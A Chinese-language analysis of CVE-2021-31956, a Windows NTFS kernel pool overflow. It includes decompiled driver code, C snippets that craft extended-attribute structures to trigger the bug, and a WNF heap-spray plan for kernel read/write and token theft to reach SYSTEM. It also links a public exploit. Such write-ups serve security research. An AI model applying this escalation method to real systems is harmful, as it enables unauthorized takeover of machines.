CVE-2021-31956分析與利用

一、漏洞概括
CVE-2021-31956是由Windows Ntfs組件系統存在整形溢出所導致,該漏洞可導致本地權限提升。
二、漏洞復現環境

三、漏洞成因
該漏洞發生在ntfs.sys中的NtfsQueryEaUserEaList函數中。
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1,FILE_FULL_EA_INFORMATION *CurrentEas,__int64 a3, __int64 PEaBuffer,unsigned int UserBufferLength,FILE_GET_EA_INFORMATION *pUserEaList,char a7){. . . . . . while ( 1 ) { // 索引ealist中的成員,用作下面的查找。 v11 = (FILE_GET_EA_INFORMATION *)((char *)pUserEaList + v9); *(_QWORD *)&DestinationString.Length = 0i64; DestinationString.Buffer = 0i64; *(_QWORD *)&SourceString.Length = 0i64; SourceString.Buffer = 0i64; *(_QWORD *)&DestinationString.Length = v11->EaNameLength; DestinationString.MaximumLength = DestinationString.Length; DestinationString.Buffer = v11->EaName; RtlUpperString(&DestinationString, &DestinationString); // 檢查ealist中成員的name是否有效 if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) ) break; v12 = v11->NextEntryOffset; v13 = v11->EaNameLength; v22 = v11->NextEntryOffset + v9; // 遍歷查詢的EaList for ( curEaList = pUserEaList; ; curEaList = (FILE_GET_EA_INFORMATION *)((char *)curEaList + curEaList->NextEntryOffset) ) { if ( curEaList == v11 ) { v15 = offset; // v16 分配的內核池 v16 = (_DWORD *)(PEaBuffer + padding + offset); // 根據name查找對應的Ea信息 if ( NtfsLocateEaByName((__int64)CurrentEas, *(_DWORD *)(a3 + 4), &DestinationString, &FeaOffset) ) { ea_block = (FILE_FULL_EA_INFORMATION *)((char *)CurrentEas + FeaOffset); // 計算內存拷貝大小 RawEaSize = ea_block->EaValueLength + ea_block->EaNameLength + 9; //防溢出檢查 if ( RawEaSize <= UserBufferLength - padding ) { //溢出點 memmove(v16, ea_block, RawEaSize); *v16 = 0; goto LABEL_8; } }. . . . . . if ( !a7 ) { if ( v24 ) *v24 = (_DWORD)v16 - (_DWORD)v24; //判斷是ealist中是否還有其他成員 if ( v11->NextEntryOffset ) { v24 = v16; // 總長度減去已經拷貝的長度 UserBufferLength -= RawEaSize + padding; //padding的計算 padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize; goto LABEL_26; } }. . . . . .}
上面的代碼片段在循環遍歷文件中的每個EA拓展屬性,并將其拷貝到堆中,每次拷貝的大小為ea_block->EaValueLenght + ea_blocal->EaNameLength + 9。其中ea_block的結構如下:
typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; //下一個同類型結構的偏移,若是左后一個則為0。 UCHAR Flags; UCHAR EaNameLength; //eanam數組的長度,不包含0終止字符。 USHORT EaValueLength; //數組中每個ea值的長度 CHAR EaName[1];} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
在每次拷貝前有一個判斷溢出的檢查(RawEaSize <= UserBufferLength - padding),UserBufferLength是由參數傳入并在每次循環中遞減,padding由(padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize)計算而來,該表達式只會存在4個結果(0, 1, 2,3)。
內存拷貝的目的地址(v16)由參數傳入,該參數是在NtfsCommonQueryEa函數中分配的內核池。
. . . . .IrpSp = IoGetCurrentIrpStackLocation( Irp );. . . . .UserBufferLength = IrpSp->Parameters.QueryEa.Length;. . . . .if ( *(_BYTE *)(a2 + 64) ) { v34 = v14; v4 = ExAllocatePoolWithTag((POOL_TYPE)17, UserBufferLength, 0x4546744Eu); v28 = v4; v24 = 1; } memset(v4, 0, v10); . . . . . . if ( v33 ){ v15 = NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);}. . . . . . (NtfsCommonQueryEa函數片段)
根據以上分析,當我們能夠構造出“UserBufferLength < padding”時“RawEaSize <= UserBufferLength – padding”的溢出檢查就會失效,從而進行內核池溢出。
總結來說,該漏洞有以下特點:
a) NtfsCommonQueryEa函數可通過ZwQueryEaFIle函數調用,函數原型如下:
NTSTATUS ZwQueryEaFile( [in] HANDLE FileHandle, //文件句柄 [out] PIO_STATUS_BLOCK IoStatusBlock, [out] PVOID Buffer, //擴展屬性緩沖區(FILE_FULL_EA_INFORMATION結構) [in] ULONG Length, //緩沖區大小 [in] BOOLEAN ReturnSingleEntry, [in, optional] PVOID EaList, //指定需要查詢的擴展屬性 [in] ULONG EaListLength, [in, optional] PULONG EaIndex, //指定需要查詢的起始索引 [in] BOOLEAN RestartScan);
b) 溢出拷貝時數據和大小均可控。
c) 可以覆蓋下一個內核池塊
d) 內核池分配時大小可控,并且可以進行堆布局。
四、漏洞觸發
觸發思路
我們可以使用NtSetEaFile函數來為我們自己創建的文件添加EA拓展屬性,其函數原型如下:
NTSTATUS ZwSetEaFile( [in] HANDLE FileHandle, //文件句柄 [out] PIO_STATUS_BLOCK IoStatusBlock, [in] PVOID Buffer, //設置的Ea屬性,指向FILE_FULL_EA_INFORMATION結構,該結構定義如上。 [in] ULONG Length //Ea屬性緩沖區的長度);
該函數的第3個參數是一個FILE_FULL_EA_INFORMATION結構的緩沖區,用來指定Ea屬性的值。所以我們可以利用EA屬性來構造PAYLOAD, 在使用NtQueryEaFile函數來觸發。
觸發步驟
創建含有兩個FILE_FULL_EA_INFORMATION結構的數組。
構造第一個FILE_FULL_EA_INFORMATION結構如下:
curEa->Flags = 0;// EaNameLength + EaValueLength +9 等于當前結構的總大小, 這里構造為18,使padding=2.curEa->EaNameLength = 3;curEa->EaValueLength = 6;//NextEntryOffset指向下一個EA信息,必須4字節對齊。curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);memcpy(curEa->EaName, ".PA", 3);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 6 , 0);
構造第二個FILE_FULL_EA_INFORMATION結構如下:
curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset) ;curEa->NextEntryOffset = 0;curEa->Flags = 0;// 第二個結構總大小為104curEa->EaNameLength = 4;curEa->EaValueLength =100;memcpy(curEa->EaName, ".PBB", 4);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 100 , 0);
調用NtSetEaFile函數來設置文件的Ea屬性。
構造NtQueryEaFile函數的Ealist參數如下:
memcpy(EaList->EaName, ".PA", strlen(".PA"));EaList->EaNameLength = (UCHAR)strlen(".PA");EaList->NextEntryOffset = 12; //必須4字節對齊 EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);memcpy(EaList->EaName, ".PBB", strlen(".PBB"));EaList->EaNameLength = (UCHAR)strlen(".PBB");EaList->NextEntryOffset = 0;
調用NtQueryEaFile函數來觸發漏洞,構造該函數的length參數為19,該參數可用來控制0環申請內存時的大小。
調試
內核池分配


第一次內存copy

padding的計算

溢出檢查失效

第二次內存拷貝時,成功溢出

五、漏洞利用
WNF簡介
Windows Notification Facitily 是 Windows 中的一個通知系統。
應用程序可以訂閱特定類型的事件(StateName標識),在每次狀態更改時可以進行通知。
WNF在內核中的數據結構
_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF // 每一個WNF_NAME_INSTANCE結構都會根據StateName來掛到樹中。 +0x010 TreeLinks : _RTL_BALANCED_NODE // wnf Name(3環的StateName ^ 0x41C64E6DA3BC0074) +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK // wnf 數據 +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY +0x088 TemporaryNameListEntry : _LIST_ENTRY // 指向當前進程的 eprocess結構 +0x098 CreatorProcess : Ptr64 _EPROCESS +0x0a0 DataSubscribersCount : Int4B +0x0a4 CurrentDeliveryCount : Int4B
_WNF_SCOPE_INSTANCE
+0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 DataScope : _WNF_DATA_SCOPE +0x014 InstanceIdSize : Uint4B +0x018 InstanceIdData : Ptr64 Void +0x020 ResolverListEntry : _LIST_ENTRY +0x030 NameSetLock : _WNF_LOCK // 二叉樹,根據這個成員來查找對應的NAME_INSTANCE結構 +0x038 NameSet : _RTL_AVL_TREE +0x040 PermanentDataStore : Ptr64 Void +0x048 VolatilePermanentDataStore : Ptr64 Void
_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER // 分配的內核池大小 +0x004 AllocatedSize : Uint4B // 當前數據大小 +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B
_WNF_STATE_NAME
struct _WNF_STATE_NAME{ ULONGLONG Version : 4; ULONGLONG NameLifetime : 2; // 根據此成員來區分不同的WNF類型 ULONGLONG DataScope : 4; ULONGLONG PermanentData : 1; ULONGLONG Sequence : 53; };
WNF相關API
NtCreateWnfStateName
typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)( _Out_ PWNF_STATE_NAME StateName, _In_ WNF_STATE_NAME_LIFETIME NameLifetime, _In_ WNF_DATA_SCOPE DataScope, _In_ BOOLEAN PersistData, _In_opt_ PCWNF_TYPE_ID TypeId, _In_ ULONG MaximumStateSize, _In_ PSECURITY_DESCRIPTOR SecurityDescriptor);
用來創建一個WNF對象,該函數會在0環創建一個WNF_NAME_INSTANCE對象,大小為0xb8(WNF_NAME_INSTANCE + POOL_HEADER )。

(NtCreateWnfStateName函數片段)
NtUpdateWnfStateData
typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)( _In_ PWNF_STATE_NAME StateName, _In_reads_bytes_opt_(Length) const VOID * Buffer, _In_opt_ ULONG Length, _In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope, _In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp);
更新WNF StateData,當Length小于StateData->AllocateSize時會根據Length大小來分配內核池,否則會將Buffer中的數據拷貝到內核池中。
if (!v12 && (a1->PermanentDataStore || (_DWORD)v6) || (v13 = v12) != 0i64 && v12->AllocatedSize < (unsigned int)v6){ ...... if (((*(_DWORD *)&a1->StateName >> 4) & 3) != 3 || PsInitialSystemProcess == (PEPROCESS)a1->CreatorProcess) { v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithTag(PagedPool, (unsigned int)(v6 + 16), 0x20666E57u); v25 = v21; } else { ...... v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u); ...... } ......memmove(&v13[1], v7, v6);v13->DataSize = v6;v13->ChangeStamp = i;v15 = a1->PermanentDataStore;...... (NtUpdateWnfStateData函數片段)
NtQueryWnfStateData
typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)( _In_ PWNF_STATE_NAME StateName, _In_opt_ PWNF_TYPE_ID TypeId, _In_opt_ const VOID * ExplicitScope, _Out_ PWNF_CHANGE_STAMP ChangeStamp, _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, _Inout_ PULONG BufferSize);
查詢指定stateName對應的stateData, 當BufferSize小于StateData->DataSize時,該函數會調用失敗,并返回C0000023。
*a2 = v11->ChangeStamp; *a5 = v11->DataSize; v12 = v11->DataSize; if ( a4 < v12 ) { v14 = 0xC0000023; } else { memmove(a3, &v11[1], v12); v14 = 0; }
利用思路
相對內存讀寫
進行堆噴射,在0環中造成以下的內存布局。

利用Ntfs Chunk覆蓋StateData中的DataSize成員, 后續就可以使用NtQueryWnfStateData API來讀取NAME INSTACE對象中的內容。覆蓋StateData中的AllocateSize成員,后續就可以使用NtUpDateWnfStateData API來修改NAME INSTACE對象中的內容。
任意內存讀寫
利用 State Data Chunk來覆蓋Name Instance chunk中的StateData指針,后續使用NtQueryWnfStateData和NtUpDateWnfStateData API來造成任意地址的讀寫(需要構造AllocateSize和DataSize成員)。
利用過程
1、按照如上所示進行內核池布局。
2、利用相對內存讀取,讀取NAME INSTACE對象中的內容。(NAME INSTANCE對象中有兩個比較重要的成員StateName和CreatorProcess, 前者由于所有的NAME INSTANCE對象都保存在一個排序二叉樹中,破壞了StateName成員會導致系統無法找到相對應的NAME INSTANCE對象, 并且在進行噴射后我們也無法確定究竟是哪一個StateName對應的對象發生了溢出, 所以通過該方法可以準確定位到發生了溢出的NAME INSTANCE對象。后者標識了當前進程的Eprocess對象,可以通過該對象來遍歷所有進程的Eprocess結構)。
3、利用相對內存寫入,修改NAME INSTANCE對象中的StateData成員為CreatorProcess (需要注意DataSize成員, 該成員直接影響讀取的字節數和是否能夠成功讀取)。
4、利用任意內存讀取遍歷系統進程。
5、找到對應的系統進程后,利用任意內存讀取獲取系統進程的token。
6、利用任意內存寫入,修改當前進程的token(需要注意AllocateSize成員)。
效果演示

EXP
EXP已在Github上開源,目前只在win 1903上經過測試,穩定性大概在80%。
github傳送門(https://github.com/aazhuliang/CVE-2021-31956-EXP)
參考文章:
CVE-2021-31956(https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/)